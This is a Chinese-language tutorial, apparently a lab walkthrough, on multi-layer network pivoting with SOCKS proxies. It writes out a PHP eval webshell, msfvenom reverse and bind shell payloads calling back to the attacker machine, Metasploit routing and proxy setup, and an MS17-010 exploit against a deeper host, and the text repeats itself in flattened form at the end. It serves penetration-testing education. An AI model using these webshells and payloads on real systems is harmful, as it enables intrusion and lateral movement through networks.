多层网段渗透-真正理解socks代理隧道技术
字数 1482 2025-08-09 19:33:17

多层网段渗透中的SOCKS代理隧道技术详解

环境概述

  • 攻击机: Kali Linux (192.168.76.132)
  • 目标网络:
    • Target1: 192.168.76.148 (Web服务器)
    • Target2: 192.168.22.128 (内网服务器)
    • Target3: 192.168.33.128 (更深层内网服务器)

渗透流程

第一阶段:攻击Target1

  1. 漏洞发现与利用:

    • 发现Target1使用ThinkPHP v5框架,存在已知RCE漏洞
    • 使用公开EXP执行命令: system("whoami")
    • 写入Webshell: file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>')
  2. 建立持久化访问:

    • 使用蚁剑连接Webshell
    • 生成MSF反向shell载荷:
      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=4444 -f elf -o t1.elf
      
    • 上传并执行载荷:
      chmod +x t1.elf && ./t1.elf
      
  3. 内网探测:

    • 获取网络接口信息发现22网段:
      ifconfig
      
    • 添加路由(仅在MSF会话中有效):
      route add 192.168.22.0 255.255.255.0 1
      

第二阶段:建立SOCKS代理隧道

  1. MSF socks代理设置:

    use auxiliary/server/socks_proxy
    set VERSION 4a
    set SRVPORT 2222
    run
    
  2. ProxyChains配置:

    • 编辑/etc/proxychains.conf:
      socks4 192.168.76.132 2222
      
    • 使用代理扫描Target2:
      proxychains nmap -sT -Pn 192.168.22.128
      
  3. 浏览器代理设置:

    • 配置浏览器使用SOCKS4代理: 192.168.76.132:2222

第三阶段:攻击Target2

  1. Web应用攻击:

    • 发现SQL注入漏洞
    • 通过注入获取管理员凭据
    • 后台文件上传获取Webshell
  2. 正向连接建立:

    • 生成正向shell载荷:
      msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o t2.elf
      
    • 在MSF中配置监听:
      use exploit/multi/handler
      set PAYLOAD linux/x64/meterpreter/bind_tcp
      set RHOST 192.168.22.128
      set LPORT 5555
      run
      
  3. 路由扩展:

    • 添加33网段路由:
      route add 192.168.33.0 255.255.255.0 2
      

第四阶段:攻击Target3

  1. 漏洞利用:
    • 发现MS17-010 (永恒之蓝)漏洞
    • 使用MSF模块攻击:
      use exploit/windows/smb/ms17_010_psexec
      set RHOST 192.168.33.128
      set PAYLOAD windows/x64/meterpreter/bind_tcp
      run
      

关键技术详解

1. 路由与代理的区别

  • MSF路由: 仅在MSF会话中有效,其他工具无法使用
  • SOCKS代理: 全局可用,所有支持代理的工具均可使用

2. 代理工具选择

  1. ProxyChains:

    • 适用于Linux命令行工具
    • 配置简单,支持多种代理协议
  2. SocksCap64:

    • Windows平台工具
    • 可强制应用程序通过SOCKS代理通信
    • 无需应用程序本身支持代理设置

3. 连接方向选择

  • 反向连接(Reverse):

    • 目标主动连接攻击者
    • 适用于目标可出网的情况
    • 示例: reverse_tcp
  • 正向连接(Bind):

    • 攻击者主动连接目标
    • 适用于目标不可出网但可被访问的情况
    • 示例: bind_tcp

4. 多层代理配置

  1. 蚁剑代理设置:

    • 必须确保代理服务器(Target1)已正确配置路由
    • 代理类型必须与建立的代理服务一致(SOCKS4/5)
  2. 工具链代理:

    • 对于不支持代理的工具,使用SocksCap64等中间件
    • 确保代理链的每一跳都正确配置

常见问题解决方案

1. 代理无法工作

  • 检查代理类型是否匹配(SOCKS4/5/HTTP)
  • 验证路由是否在代理服务器上正确配置
  • 检查防火墙规则是否阻止代理端口

2. 工具不支持代理

  • 使用SocksCap64(Windows)或proxychains(Linux)包装
  • 考虑使用支持代理的替代工具
  • 在跳板机上安装本地代理服务

3. 权限问题

  • Webshell权限不足时尝试提权
  • 使用chmod +x赋予执行权限
  • 考虑使用其他持久化方法(如cronjob)

总结流程图

Kali Linux
  │
  ↓ (反向连接)
Target1 (192.168.76.148)
  │
  ↓ (SOCKS代理)
Target2 (192.168.22.128)
  │
  ↓ (正向连接)
Target3 (192.168.33.128)

关键点:

  1. 正确理解路由和代理的区别及应用场景
  2. 根据网络环境选择合适的连接方向
  3. 灵活运用各种代理工具应对不同情况
  4. 每层渗透后彻底探测网络环境
  5. 保持清晰的渗透路径记录
多层网段渗透中的SOCKS代理隧道技术详解 环境概述 攻击机 : Kali Linux (192.168.76.132) 目标网络 : Target1: 192.168.76.148 (Web服务器) Target2: 192.168.22.128 (内网服务器) Target3: 192.168.33.128 (更深层内网服务器) 渗透流程 第一阶段:攻击Target1 漏洞发现与利用 : 发现Target1使用ThinkPHP v5框架,存在已知RCE漏洞 使用公开EXP执行命令: system("whoami") 写入Webshell: file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>') 建立持久化访问 : 使用蚁剑连接Webshell 生成MSF反向shell载荷: 上传并执行载荷: 内网探测 : 获取网络接口信息发现22网段: 添加路由(仅在MSF会话中有效): 第二阶段:建立SOCKS代理隧道 MSF socks代理设置 : ProxyChains配置 : 编辑 /etc/proxychains.conf : 使用代理扫描Target2: 浏览器代理设置 : 配置浏览器使用SOCKS4代理: 192.168.76.132:2222 第三阶段:攻击Target2 Web应用攻击 : 发现SQL注入漏洞 通过注入获取管理员凭据 后台文件上传获取Webshell 正向连接建立 : 生成正向shell载荷: 在MSF中配置监听: 路由扩展 : 添加33网段路由: 第四阶段:攻击Target3 漏洞利用 : 发现MS17-010 (永恒之蓝)漏洞 使用MSF模块攻击: 关键技术详解 1. 路由与代理的区别 MSF路由 : 仅在MSF会话中有效,其他工具无法使用 SOCKS代理 : 全局可用,所有支持代理的工具均可使用 2. 代理工具选择 ProxyChains : 适用于Linux命令行工具 配置简单,支持多种代理协议 SocksCap64 : Windows平台工具 可强制应用程序通过SOCKS代理通信 无需应用程序本身支持代理设置 3. 连接方向选择 反向连接(Reverse) : 目标主动连接攻击者 适用于目标可出网的情况 示例: reverse_tcp 正向连接(Bind) : 攻击者主动连接目标 适用于目标不可出网但可被访问的情况 示例: bind_tcp 4. 多层代理配置 蚁剑代理设置 : 必须确保代理服务器(Target1)已正确配置路由 代理类型必须与建立的代理服务一致(SOCKS4/5) 工具链代理 : 对于不支持代理的工具,使用SocksCap64等中间件 确保代理链的每一跳都正确配置 常见问题解决方案 1. 代理无法工作 检查代理类型是否匹配(SOCKS4/5/HTTP) 验证路由是否在代理服务器上正确配置 检查防火墙规则是否阻止代理端口 2. 工具不支持代理 使用SocksCap64(Windows)或proxychains(Linux)包装 考虑使用支持代理的替代工具 在跳板机上安装本地代理服务 3. 权限问题 Webshell权限不足时尝试提权 使用 chmod +x 赋予执行权限 考虑使用其他持久化方法(如cronjob) 总结流程图 关键点: 正确理解路由和代理的区别及应用场景 根据网络环境选择合适的连接方向 灵活运用各种代理工具应对不同情况 每层渗透后彻底探测网络环境 保持清晰的渗透路径记录